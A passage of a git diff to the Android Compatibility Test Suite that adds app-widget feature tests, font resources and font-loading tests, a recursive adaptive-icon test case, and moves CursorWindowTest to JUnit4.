+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<appwidget-provider xmlns:android="http://schemas.android.com/apk/res/android"
+    android:minWidth="@dimen/first_min_appwidget_size"
+    android:minHeight="@dimen/first_min_appwidget_size"
+    android:minResizeWidth="@dimen/first_min_resize_appwidget_size"
+    android:minResizeHeight="@dimen/first_min_resize_appwidget_size"
+    android:updatePeriodMillis="@integer/first_update_period_millis"
+    android:configure="android.appwidget.cts.provider.FirstAppWidgetConfigureActivity"
+    android:resizeMode="horizontal|vertical"
+    android:widgetCategory="home_screen|keyguard"
+    android:widgetFeatures="reconfigurable|hide_from_picker"
+    android:initialLayout="@layout/first_initial_layout"
+    android:initialKeyguardLayout="@layout/first_initial_keyguard_layout"
+    android:previewImage="@drawable/first_android_icon"
+    android:autoAdvanceViewId="@id/first_auto_advance_view_id">
+</appwidget-provider>
diff --git a/tests/tests/appwidget/src/android/appwidget/cts/AppWidgetTest.java b/tests/tests/appwidget/src/android/appwidget/cts/AppWidgetTest.java
index 747a8bd..acafd7d 100644
--- a/tests/tests/appwidget/src/android/appwidget/cts/AppWidgetTest.java
+++ b/tests/tests/appwidget/src/android/appwidget/cts/AppWidgetTest.java
@@ -33,6 +33,7 @@
 import android.appwidget.AppWidgetManager;
 import android.appwidget.AppWidgetProviderInfo;
 import android.appwidget.cts.provider.AppWidgetProviderCallbacks;
+import android.appwidget.cts.provider.AppWidgetProviderWithFeatures;
 import android.appwidget.cts.provider.FirstAppWidgetProvider;
 import android.appwidget.cts.provider.SecondAppWidgetProvider;
 import android.appwidget.cts.service.MyAppWidgetService;
@@ -1308,6 +1309,25 @@
         }
     }
 
+    public void testWidgetFeaturesParsed() throws Exception {
+        if (!hasAppWidgets()) {
+            return;
+        }
+        assertEquals(0, getFirstAppWidgetProviderInfo().widgetFeatures);
+        String packageName = getInstrumentation().getTargetContext().getPackageName();
+
+        assertEquals(AppWidgetProviderInfo.WIDGET_FEATURE_RECONFIGURABLE,
+                getProviderInfo(new ComponentName(packageName,
+                AppWidgetProviderWithFeatures.Provider1.class.getName())).widgetFeatures);
+        assertEquals(AppWidgetProviderInfo.WIDGET_FEATURE_HIDE_FROM_PICKER,
+                getProviderInfo(new ComponentName(packageName,
+                        AppWidgetProviderWithFeatures.Provider2.class.getName())).widgetFeatures);
+        assertEquals(AppWidgetProviderInfo.WIDGET_FEATURE_RECONFIGURABLE
+                | AppWidgetProviderInfo.WIDGET_FEATURE_HIDE_FROM_PICKER,
+                getProviderInfo(new ComponentName(packageName,
+                        AppWidgetProviderWithFeatures.Provider3.class.getName())).widgetFeatures);
+    }
+
     private void waitForCallCount(AtomicInteger counter, int expectedCount) {
         synchronized (mLock) {
             final long startTimeMillis = SystemClock.uptimeMillis();
diff --git a/tests/tests/appwidget/src/android/appwidget/cts/provider/AppWidgetProviderWithFeatures.java b/tests/tests/appwidget/src/android/appwidget/cts/provider/AppWidgetProviderWithFeatures.java
new file mode 100644
index 0000000..d1f848a
--- /dev/null
+++ b/tests/tests/appwidget/src/android/appwidget/cts/provider/AppWidgetProviderWithFeatures.java
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.appwidget.cts.provider;
+
+public abstract class AppWidgetProviderWithFeatures extends StubbableAppWidgetProvider {
+    private static final Object sLock = new Object();
+
+    private static AppWidgetProviderCallbacks sCallbacks;
+
+    public static void setCallbacks(AppWidgetProviderCallbacks callbacks) {
+        synchronized (sLock) {
+            sCallbacks = callbacks;
+        }
+    }
+
+    @Override
+    protected AppWidgetProviderCallbacks getCallbacks() {
+        synchronized (sLock) {
+            if (sCallbacks != null) {
+                sCallbacks.setProvider(this);
+            }
+            return sCallbacks;
+        }
+    }
+
+    public static final class Provider1 extends AppWidgetProviderWithFeatures { }
+
+    public static final class Provider2 extends AppWidgetProviderWithFeatures { }
+
+    public static final class Provider3 extends AppWidgetProviderWithFeatures { }
+}
diff --git a/tests/tests/content/fonts_readme.txt b/tests/tests/content/fonts_readme.txt
new file mode 100644
index 0000000..f0de576
--- /dev/null
+++ b/tests/tests/content/fonts_readme.txt
@@ -0,0 +1,15 @@
+All fonts included in this project follow the below copyright and licensing:
+
+Copyright (C) 2017 The Android Open Source Project
+
+Licensed under the Apache License, Version 2.0 (the "License");
+you may not use this file except in compliance with the License.
+You may obtain a copy of the License at
+
+  http://www.apache.org/licenses/LICENSE-2.0
+
+Unless required by applicable law or agreed to in writing, software
+distributed under the License is distributed on an "AS IS" BASIS
+WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+See the License for the specific language governing permissions and
+limitations under the License.
\ No newline at end of file
diff --git a/tests/tests/content/res/font/sample_font_collection.ttc b/tests/tests/content/res/font/sample_font_collection.ttc
new file mode 100644
index 0000000..9252f3d
--- /dev/null
+++ b/tests/tests/content/res/font/sample_font_collection.ttc
Binary files differ
diff --git a/tests/tests/content/res/font/sample_ttc_family.xml b/tests/tests/content/res/font/sample_ttc_family.xml
new file mode 100644
index 0000000..ae9b63f
--- /dev/null
+++ b/tests/tests/content/res/font/sample_ttc_family.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="utf-8"?>
+<font-family xmlns:android="http://schemas.android.com/apk/res/android">
+    <font android:fontStyle="normal" android:font="@font/sample_font_collection" android:ttcIndex="0" />
+    <font android:fontStyle="italic" android:font="@font/sample_font_collection" android:ttcIndex="1" />
+</font-family>
\ No newline at end of file
diff --git a/tests/tests/content/res/font/sample_variation_settings_family1.xml b/tests/tests/content/res/font/sample_variation_settings_family1.xml
new file mode 100644
index 0000000..c719fa9
--- /dev/null
+++ b/tests/tests/content/res/font/sample_variation_settings_family1.xml
@@ -0,0 +1,4 @@
+<?xml version="1.0" encoding="utf-8"?>
+<font-family xmlns:android="http://schemas.android.com/apk/res/android">
+    <font android:font="@font/variable_width_dash_font" android:fontVariationSettings="'wdth' 100.0" />
+</font-family>
diff --git a/tests/tests/content/res/font/sample_variation_settings_family2.xml b/tests/tests/content/res/font/sample_variation_settings_family2.xml
new file mode 100644
index 0000000..94d4d79
--- /dev/null
+++ b/tests/tests/content/res/font/sample_variation_settings_family2.xml
@@ -0,0 +1,4 @@
+<?xml version="1.0" encoding="utf-8"?>
+<font-family xmlns:android="http://schemas.android.com/apk/res/android">
+    <font android:font="@font/variable_width_dash_font" android:fontVariationSettings="'wdth' 500.0" />
+</font-family>
diff --git a/tests/tests/content/res/font/variable_width_dash_font.ttf b/tests/tests/content/res/font/variable_width_dash_font.ttf
new file mode 100644
index 0000000..f7a256a
--- /dev/null
+++ b/tests/tests/content/res/font/variable_width_dash_font.ttf
Binary files differ
diff --git a/tests/tests/content/res/font/variable_width_dash_font_source.ttx b/tests/tests/content/res/font/variable_width_dash_font_source.ttx
new file mode 100644
index 0000000..401fe0f
--- /dev/null
+++ b/tests/tests/content/res/font/variable_width_dash_font_source.ttx
@@ -0,0 +1,241 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<ttFont sfntVersion="\x00\x01\x00\x00" ttLibVersion="3.9">
+
+  <GlyphOrder>
+    <!-- The 'id' attribute is only for humans; it is ignored when parsed. -->
+    <GlyphID id="0" name=".notdef"/>
+    <GlyphID id="1" name="dash"/>
+  </GlyphOrder>
+
+  <head>
+    <!-- Most of this table will be recalculated by the compiler -->
+    <tableVersion value="1.0"/>
+    <fontRevision value="1.0"/>
+    <checkSumAdjustment value="0x81ee73dd"/>
+    <magicNumber value="0x5f0f3cf5"/>
+    <flags value="00000000 00000011"/>
+    <unitsPerEm value="1000"/>
+    <created value="Wed Sep 9 08:01:17 2015"/>
+    <modified value="Thu Mar 9 22:22:31 2017"/>
+    <xMin value="0"/>
+    <yMin value="0"/>
+    <xMax value="0"/>
+    <yMax value="0"/>
+    <macStyle value="00000000 00000000"/>
+    <lowestRecPPEM value="7"/>
+    <fontDirectionHint value="2"/>
+    <indexToLocFormat value="0"/>
+    <glyphDataFormat value="0"/>
+  </head>
+
+  <hhea>
+    <tableVersion value="0x00010000"/>
+    <ascent value="1000"/>
+    <descent value="-200"/>
+    <lineGap value="0"/>
+    <advanceWidthMax value="500"/>
+    <minLeftSideBearing value="0"/>
+    <minRightSideBearing value="0"/>
+    <xMaxExtent value="0"/>
+    <caretSlopeRise value="1"/>
+    <caretSlopeRun value="0"/>
+    <caretOffset value="0"/>
+    <reserved0 value="0"/>
+    <reserved1 value="0"/>
+    <reserved2 value="0"/>
+    <reserved3 value="0"/>
+    <metricDataFormat value="0"/>
+    <numberOfHMetrics value="1"/>
+  </hhea>
+
+  <maxp>
+    <!-- Most of this table will be recalculated by the compiler -->
+    <tableVersion value="0x10000"/>
+    <numGlyphs value="2"/>
+    <maxPoints value="0"/>
+    <maxContours value="0"/>
+    <maxCompositePoints value="0"/>
+    <maxCompositeContours value="0"/>
+    <maxZones value="2"/>
+    <maxTwilightPoints value="12"/>
+    <maxStorage value="28"/>
+    <maxFunctionDefs value="119"/>
+    <maxInstructionDefs value="0"/>
+    <maxStackElements value="61"/>
+    <maxSizeOfInstructions value="2967"/>
+    <maxComponentElements value="0"/>
+    <maxComponentDepth value="0"/>
+  </maxp>
+
+  <OS_2>
+    <!-- The fields 'usFirstCharIndex' and 'usLastCharIndex'
+         will be recalculated by the compiler -->
+    <version value="3"/>
+    <xAvgCharWidth value="594"/>
+    <usWeightClass value="400"/>
+    <usWidthClass value="5"/>
+    <fsType value="00000000 00001000"/>
+    <ySubscriptXSize value="650"/>
+    <ySubscriptYSize value="600"/>
+    <ySubscriptXOffset value="0"/>
+    <ySubscriptYOffset value="75"/>
+    <ySuperscriptXSize value="650"/>
+    <ySuperscriptYSize value="600"/>
+    <ySuperscriptXOffset value="0"/>
+    <ySuperscriptYOffset value="350"/>
+    <yStrikeoutSize value="50"/>
+    <yStrikeoutPosition value="300"/>
+    <sFamilyClass value="0"/>
+    <panose>
+      <bFamilyType value="0"/>
+      <bSerifStyle value="0"/>
+      <bWeight value="5"/>
+      <bProportion value="0"/>
+      <bContrast value="0"/>
+      <bStrokeVariation value="0"/>
+      <bArmStyle value="0"/>
+      <bLetterForm value="0"/>
+      <bMidline value="0"/>
+      <bXHeight value="0"/>
+    </panose>
+    <ulUnicodeRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulUnicodeRange2 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange3 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange4 value="00000000 00000000 00000000 00000000"/>
+    <achVendID value="UKWN"/>
+    <fsSelection value="00000000 01000000"/>
+    <usFirstCharIndex value="97"/>
+    <usLastCharIndex value="97"/>
+    <sTypoAscender value="800"/>
+    <sTypoDescender value="-200"/>
+    <sTypoLineGap value="200"/>
+    <usWinAscent value="1000"/>
+    <usWinDescent value="200"/>
+    <ulCodePageRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulCodePageRange2 value="00000000 00000000 00000000 00000000"/>
+    <sxHeight value="500"/>
+    <sCapHeight value="700"/>
+    <usDefaultChar value="0"/>
+    <usBreakChar value="32"/>
+    <usMaxContext value="0"/>
+  </OS_2>
+
+  <hmtx>
+    <mtx name=".notdef" width="500" lsb="93"/>
+    <mtx name="dash" width="500" lsb="93"/>
+  </hmtx>
+
+  <cmap>
+    <tableVersion version="0"/>
+    <cmap_format_4 platformID="3" platEncID="10" language="0">
+      <map code="0x2D" name="dash"/><!-- ASCII DASH -->
+    </cmap_format_4>
+  </cmap>
+
+  <loca>
+    <!-- The 'loca' table will be calculated by the compiler -->
+  </loca>
+
+  <glyf>
+
+    <!-- The xMin, yMin, xMax and yMax values
+         will be recalculated by the compiler. -->
+    <TTGlyph name=".notdef" xMin="0" yMin="0" xMax="0" yMax="0">
+      <contour>
+        <pt x="100" y="-500" on="1"/>
+        <pt x="900" y="-500" on="1"/>
+        <pt x="900" y="1000" on="1"/>
+        <pt x="100" y="1000" on="1"/>
+      </contour>
+      <instructions/>
+    </TTGlyph>
+
+    <TTGlyph name="dash">
+      <contour>
+        <pt x="0" y="200" on="1"/>
+        <pt x="100" y="200" on="1"/>
+        <pt x="100" y="300" on="1"/>
+        <pt x="0" y="300" on="1"/>
+      </contour>
+    <instructions/>
+    </TTGlyph>
+  </glyf>
+
+  <name>
+    <namerecord nameID="1" platformID="1" platEncID="0" langID="0x0" unicode="True">
+      MultiAxisFont Test
+    </namerecord>
+    <namerecord nameID="2" platformID="1" platEncID="0" langID="0x0" unicode="True">
+      Regular
+    </namerecord>
+    <namerecord nameID="4" platformID="1" platEncID="0" langID="0x0" unicode="True">
+      MultiAxisFont Test
+    </namerecord>
+    <namerecord nameID="6" platformID="1" platEncID="0" langID="0x0" unicode="True">
+      MultiAxisFontTest-Regular
+    </namerecord>
+    <namerecord nameID="1" platformID="3" platEncID="1" langID="0x409">
+      MultiAxisFont Test
+    </namerecord>
+    <namerecord nameID="2" platformID="3" platEncID="1" langID="0x409">
+      Regular
+    </namerecord>
+    <namerecord nameID="4" platformID="3" platEncID="1" langID="0x409">
+      MultiAxisFont Test
+    </namerecord>
+    <namerecord nameID="6" platformID="3" platEncID="1" langID="0x409">
+      MultiAxisFontTest-Regular
+    </namerecord>
+  </name>
+
+  <post>
+    <formatType value="3.0"/>
+    <italicAngle value="0.0"/>
+    <underlinePosition value="-200"/>
+    <underlineThickness value="20"/>
+    <isFixedPitch value="0"/>
+    <minMemType42 value="0"/>
+    <maxMemType42 value="0"/>
+    <minMemType1 value="0"/>
+    <maxMemType1 value="0"/>
+  </post>
+
+  <fvar>
+    <Axis>
+      <AxisTag>wdth</AxisTag>
+      <MinValue>100.0</MinValue>
+      <DefaultValue>100.0</DefaultValue>
+      <MaxValue>500.0</MaxValue>
+      <AxisNameID>256</AxisNameID>
+    </Axis>
+  </fvar>
+
+  <gvar>
+    <glyphVariations glyph="dash">
+      <tuple>
+        <coord axis="wdth" value="1.0"/>
+        <delta pt="0" x="0" y="0"/>
+        <delta pt="1" x="400" y="0"/>
+        <delta pt="2" x="400" y="0"/>
+        <delta pt="3" x="0" y="0"/>
+        <delta pt="4" x="-200" y="0"/>
+        <delta pt="5" x="200" y="0"/>
+      </tuple>
+    </glyphVariations>
+  </gvar>
+
+</ttFont>
diff --git a/tests/tests/content/res/mipmap/icon_background.png b/tests/tests/content/res/mipmap/icon_background.png
new file mode 100644
index 0000000..72a065c
--- /dev/null
+++ b/tests/tests/content/res/mipmap/icon_background.png
Binary files differ
diff --git a/tests/tests/content/res/mipmap/icon_recursive.xml b/tests/tests/content/res/mipmap/icon_recursive.xml
new file mode 100644
index 0000000..b44fe19
--- /dev/null
+++ b/tests/tests/content/res/mipmap/icon_recursive.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<adaptive-icon xmlns:android="http://schemas.android.com/apk/res/android">
+    <background android:drawable="@mipmap/icon_background" />
+    <foreground android:drawable="@mipmap/icon_recursive" />
+</adaptive-icon>
diff --git a/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java b/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java
index e34aa6e..a7e2815 100644
--- a/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java
+++ b/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java
@@ -347,4 +347,18 @@
             assertDefaultHandlerValidPriority(intent);
         }
     }
+
+    public void testFingerprintEnrollStart() {
+        PackageManager packageManager = mContext.getPackageManager();
+        if (packageManager.hasSystemFeature(PackageManager.FEATURE_FINGERPRINT)) {
+            assertCanBeHandled(new Intent(Settings.ACTION_FINGERPRINT_ENROLL));
+        }
+    }
+
+    public void testPictureInPictureSettings() {
+        PackageManager packageManager = mContext.getPackageManager();
+        if (packageManager.hasSystemFeature(PackageManager.FEATURE_PICTURE_IN_PICTURE)) {
+            assertCanBeHandled(new Intent(Settings.ACTION_PICTURE_IN_PICTURE_SETTINGS));
+        }
+    }
 }
diff --git a/tests/tests/content/src/android/content/cts/ContextWrapperTest.java b/tests/tests/content/src/android/content/cts/ContextWrapperTest.java
index 5f48260..871107c 100644
--- a/tests/tests/content/src/android/content/cts/ContextWrapperTest.java
+++ b/tests/tests/content/src/android/content/cts/ContextWrapperTest.java
@@ -347,11 +347,11 @@
 
         // Test openOrCreateDatabase with null and actual factory
         mDatabase = mContextWrapper.openOrCreateDatabase(DATABASE_NAME1,
-                ContextWrapper.MODE_PRIVATE, factory);
+                ContextWrapper.MODE_ENABLE_WRITE_AHEAD_LOGGING, factory);
         assertNotNull(mDatabase);
         mDatabase.close();
         mDatabase = mContextWrapper.openOrCreateDatabase(DATABASE_NAME2,
-                ContextWrapper.MODE_PRIVATE, factory);
+                ContextWrapper.MODE_ENABLE_WRITE_AHEAD_LOGGING, factory);
         assertNotNull(mDatabase);
         mDatabase.close();
 
@@ -360,7 +360,7 @@
 
         // Test databaseList()
         List<String> list = Arrays.asList(mContextWrapper.databaseList());
-        assertEquals(4, list.size()); // Each database has a journal
+        assertEquals(2, list.size());
         assertTrue("1) database list: " + list, list.contains(DATABASE_NAME1));
         assertTrue("2) database list: " + list, list.contains(DATABASE_NAME2));
 
diff --git a/tests/tests/content/src/android/content/cts/SharedPreferencesTest.java b/tests/tests/content/src/android/content/cts/SharedPreferencesTest.java
index b4fcb31..7c9e538 100644
--- a/tests/tests/content/src/android/content/cts/SharedPreferencesTest.java
+++ b/tests/tests/content/src/android/content/cts/SharedPreferencesTest.java
@@ -22,6 +22,8 @@
 import android.content.pm.ApplicationInfo;
 import android.content.pm.PackageManager;
 import android.os.StrictMode;
+import android.os.StrictMode.ViolationInfo;
+import android.os.StrictMode.ViolationLogger;
 import android.preference.PreferenceManager;
 import android.test.AndroidTestCase;
 import android.util.Log;
@@ -32,6 +34,8 @@
 import java.util.HashMap;
 import java.util.Map;
 import java.util.Random;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
 
 /**
  * Test {@link SharedPreferences}.
@@ -322,28 +326,27 @@
         }
     }
 
-    public void testModeMultiProcess() {
+    public void testModeMultiProcess() throws InterruptedException {
         // Pre-load it.
         mContext.getSharedPreferences("multiprocessTest", 0);
 
         final StrictMode.ThreadPolicy oldPolicy = StrictMode.getThreadPolicy();
         try {
             StrictMode.ThreadPolicy diskReadDeath =
-                    new StrictMode.ThreadPolicy.Builder().detectDiskReads().penaltyDeath().build();
+                    new StrictMode.ThreadPolicy.Builder().detectDiskReads().penaltyLog().build();
             StrictMode.setThreadPolicy(diskReadDeath);
+            final CountDownLatch latch = new CountDownLatch(1);
+            StrictMode.setViolationLogger(info -> latch.countDown());
 
             // This shouldn't hit disk.  (it was already pre-loaded above)
             mContext.getSharedPreferences("multiprocessTest", 0);
+            boolean triggered = latch.await(1, TimeUnit.SECONDS);
+            assertFalse(triggered);
 
-            boolean didRead = false;
             // This SHOULD hit disk.  (multi-process flag is set)
-            try {
-                mContext.getSharedPreferences("multiprocessTest", Context.MODE_MULTI_PROCESS);
-                fail();  // we shouldn't get here.
-            } catch (StrictMode.StrictModeViolation e) {
-                didRead = true;
-            }
-            assertTrue(didRead);
+            mContext.getSharedPreferences("multiprocessTest", Context.MODE_MULTI_PROCESS);
+            triggered = latch.await(1, TimeUnit.SECONDS);
+            assertTrue(triggered);
         } finally {
             StrictMode.setThreadPolicy(oldPolicy);
         }
diff --git a/tests/tests/content/src/android/content/pm/cts/PackageInfoTest.java b/tests/tests/content/src/android/content/pm/cts/PackageInfoTest.java
index 886b4f5..9e4fc5c 100644
--- a/tests/tests/content/src/android/content/pm/cts/PackageInfoTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/PackageInfoTest.java
@@ -63,7 +63,7 @@
 
     private void checkPkgInfoSame(PackageInfo expected, PackageInfo actual) {
         assertEquals(expected.packageName, actual.packageName);
-        assertEquals(expected.versionCode, actual.versionCode);
+        assertEquals(expected.getLongVersionCode(), actual.getLongVersionCode());
         assertEquals(expected.versionName, actual.versionName);
         assertEquals(expected.sharedUserId, actual.sharedUserId);
         assertEquals(expected.sharedUserLabel, actual.sharedUserLabel);
diff --git a/tests/tests/content/src/android/content/res/cts/ResourcesTest.java b/tests/tests/content/src/android/content/res/cts/ResourcesTest.java
index 7f5d6ce..6c02845 100644
--- a/tests/tests/content/src/android/content/res/cts/ResourcesTest.java
+++ b/tests/tests/content/src/android/content/res/cts/ResourcesTest.java
@@ -31,6 +31,7 @@
 import android.content.res.Resources.NotFoundException;
 import android.content.res.TypedArray;
 import android.content.res.XmlResourceParser;
+import android.graphics.Paint;
 import android.graphics.Typeface;
 import android.graphics.drawable.AdaptiveIconDrawable;
 import android.graphics.drawable.ColorDrawable;
@@ -324,6 +325,15 @@
         }
     }
 
+    public void testGetDrawable_StackOverflowErrorDrawable_mipmap() {
+        try {
+            mResources.getDrawable(R.mipmap.icon_recursive);
+            fail("Failed at testGetDrawable_StackOverflowErrorDrawable_mipmap");
+        } catch (NotFoundException e) {
+            //expected
+        }
+    }
+
     public void testGetDrawableForDensity() {
         final Drawable ldpi = mResources.getDrawableForDensity(
                 R.drawable.density_test, DisplayMetrics.DENSITY_LOW);
@@ -788,6 +798,55 @@
         assertNotSame(Typeface.DEFAULT, font);
     }
 
+    private Typeface getLargerTypeface(String text, Typeface typeface1, Typeface typeface2) {
+        Paint p1 = new Paint();
+        p1.setTypeface(typeface1);
+        float width1 = p1.measureText(text);
+        Paint p2 = new Paint();
+        p2.setTypeface(typeface2);
+        float width2 = p2.measureText(text);
+
+        if (width1 > width2) {
+            return typeface1;
+        } else if (width1 < width2) {
+            return typeface2;
+        } else {
+            fail("The widths of the text should not be the same");
+            return null;
+        }
+    }
+
+    public void testGetFont_xmlFileWithTtc() {
+        // Here we test that building typefaces by indexing in font collections works correctly.
+        // We want to ensure that the built typefaces correspond to the fonts with the right index.
+        // sample_font_collection.ttc contains two fonts (with indices 0 and 1). The first one has
+        // glyph "a" of 3em width, and all the other glyphs 1em. The second one has glyph "b" of
+        // 3em width, and all the other glyphs 1em. Hence, we can compare the width of these
+        // glyphs to assert that ttc indexing works.
+        Typeface normalFont = mResources.getFont(R.font.sample_ttc_family);
+        assertNotNull(normalFont);
+        Typeface italicFont = Typeface.create(normalFont, Typeface.ITALIC);
+        assertNotNull(italicFont);
+
+        assertEquals(getLargerTypeface("a", normalFont, italicFont), normalFont);
+        assertEquals(getLargerTypeface("b", normalFont, italicFont), italicFont);
+    }
+
+    public void testGetFont_xmlFileWithVariationSettings() {
+        // Here we test that specifying variation settings for fonts in XMLs works.
+        // We build typefaces from two families containing one font each, using the same font
+        // resource, but having different values for the 'wdth' tag. Then we measure the painted
+        // text to ensure that the tag affects the text width. The font resource used supports
+        // the 'wdth' axis for the dash (-) character.
+        Typeface typeface1 = mResources.getFont(R.font.sample_variation_settings_family1);
+        assertNotNull(typeface1);
+        Typeface typeface2 = mResources.getFont(R.font.sample_variation_settings_family2);
+        assertNotNull(typeface2);
+
+        assertNotSame(typeface1, typeface2);
+        assertEquals(getLargerTypeface("-", typeface1, typeface2), typeface2);
+    }
+
     public void testGetFont_invalidXmlFile() {
         try {
             assertNull(mResources.getFont(R.font.invalid_xmlfamily));
diff --git a/tests/tests/database/src/android/database/cts/CursorWindowTest.java b/tests/tests/database/src/android/database/cts/CursorWindowTest.java
index 65ce3fd..b0dc266 100644
--- a/tests/tests/database/src/android/database/cts/CursorWindowTest.java
+++ b/tests/tests/database/src/android/database/cts/CursorWindowTest.java
@@ -21,16 +21,31 @@
 import android.database.MatrixCursor;
 import android.database.sqlite.SQLiteException;
 import android.os.Parcel;
-import android.test.AndroidTestCase;
+import android.support.test.runner.AndroidJUnit4;
+import android.test.suitebuilder.annotation.SmallTest;
+
+import org.junit.Assert;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.Random;
 
-public class CursorWindowTest extends AndroidTestCase {
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+@RunWith(AndroidJUnit4.class)
+@SmallTest
+public class CursorWindowTest {
 
     private static final String TEST_STRING = "Test String";
 
+    @Test
     public void testWriteCursorToWindow() throws Exception {
         // create cursor
         String[] colNames = new String[]{"_id", "name", "number", "profit"};
@@ -75,6 +90,7 @@
         assertEquals(0, window.getNumRows());
     }
 
+    @Test
     public void testNull() {
         CursorWindow window = getOneByOneWindow();
 
@@ -82,10 +98,11 @@
         assertTrue(window.putNull(0, 0));
         assertNull(window.getString(0, 0));
         assertEquals(0, window.getLong(0, 0));
-        assertEquals(0.0, window.getDouble(0, 0));
+        assertEquals(0.0, window.getDouble(0, 0), 0.0);
         assertNull(window.getBlob(0, 0));
     }
 
+    @Test
     public void testEmptyString() {
         CursorWindow window = getOneByOneWindow();
 
@@ -93,9 +110,10 @@
         assertTrue(window.putString("", 0, 0));
         assertEquals("", window.getString(0, 0));
         assertEquals(0, window.getLong(0, 0));
-        assertEquals(0.0, window.getDouble(0, 0));
+        assertEquals(0.0, window.getDouble(0, 0), 0.0);
     }
 
+    @Test
     public void testConstructors() {
         int TEST_NUMBER = 5;
         CursorWindow cursorWindow;
@@ -123,6 +141,7 @@
         assertEquals(TEST_STRING, cursorWindow.getString(TEST_NUMBER, 0));
     }
 
+    @Test
     public void testDataStructureOperations() {
         CursorWindow cursorWindow = new CursorWindow(true);
 
@@ -175,6 +194,7 @@
         }
     }
 
+    @Test
     public void testAccessDataValues() {
         final long NUMBER_LONG_INTEGER = (long) 0xaabbccddffL;
         final long NUMBER_INTEGER = (int) NUMBER_LONG_INTEGER;
@@ -214,8 +234,8 @@
         assertEquals(0, cursorWindow.getLong(0, 0));
         assertEquals(0, cursorWindow.getInt(0, 0));
         assertEquals(0, cursorWindow.getShort(0, 0));
-        assertEquals(0.0, cursorWindow.getDouble(0, 0));
-        assertEquals(0.0f, cursorWindow.getFloat(0, 0), 0.00000001f);
+        assertEquals(0.0, cursorWindow.getDouble(0, 0), 0.0);
+        assertEquals(0.0f, cursorWindow.getFloat(0, 0), 0.0);
         assertFalse(cursorWindow.isNull(0, 0));
         assertFalse(cursorWindow.isBlob(0, 0));
 
@@ -226,8 +246,8 @@
         assertEquals(0, cursorWindow.getLong(0, 1));
         assertEquals(0, cursorWindow.getInt(0, 1));
         assertEquals(0, cursorWindow.getShort(0, 1));
-        assertEquals(0.0, cursorWindow.getDouble(0, 1));
-        assertEquals(0.0f, cursorWindow.getFloat(0, 1), 0.00000001f);
+        assertEquals(0.0, cursorWindow.getDouble(0, 1), 0.0);
+        assertEquals(0.0f, cursorWindow.getFloat(0, 1), 0.0);
         assertNull(cursorWindow.getBlob(0, 1));
         assertTrue(cursorWindow.isNull(0, 1));
         // If the field is null, isBlob will return true.
@@ -239,8 +259,8 @@
         assertEquals(NUMBER_INTEGER, cursorWindow.getInt(0, 2));
         assertEquals(Long.toString(NUMBER_LONG_INTEGER), cursorWindow.getString(0, 2));
         assertEquals(NUMBER_SHORT, cursorWindow.getShort(0, 2));
-        assertEquals(NUMBER_FLOAT_SCIENCE, cursorWindow.getFloat(0, 2), 0.00000001f);
-        assertEquals(NUMBER_DOUBLE_SCIENCE, cursorWindow.getDouble(0, 2), 0.00000001);
+        assertEquals(NUMBER_FLOAT_SCIENCE, cursorWindow.getFloat(0, 2), 0.0);
+        assertEquals(NUMBER_DOUBLE_SCIENCE, cursorWindow.getDouble(0, 2), 0.0);
         try {
             cursorWindow.getBlob(0, 2);
             fail("Can't get Blob from a Integer value.");
@@ -259,8 +279,8 @@
         assertEquals(NUMBER_FLOAT_SCIENCE_STRING2.substring(0, 6), cursorWindow.getString(0, 3)
                 .substring(0, 6));
         assertEquals(NUMBER_SHORT, cursorWindow.getShort(0, 3));
-        assertEquals(NUMBER_FLOAT_SCIENCE, cursorWindow.getFloat(0, 3), 0.00000001f);
-        assertEquals(NUMBER_DOUBLE_SCIENCE, cursorWindow.getDouble(0, 3), 0.00000001);
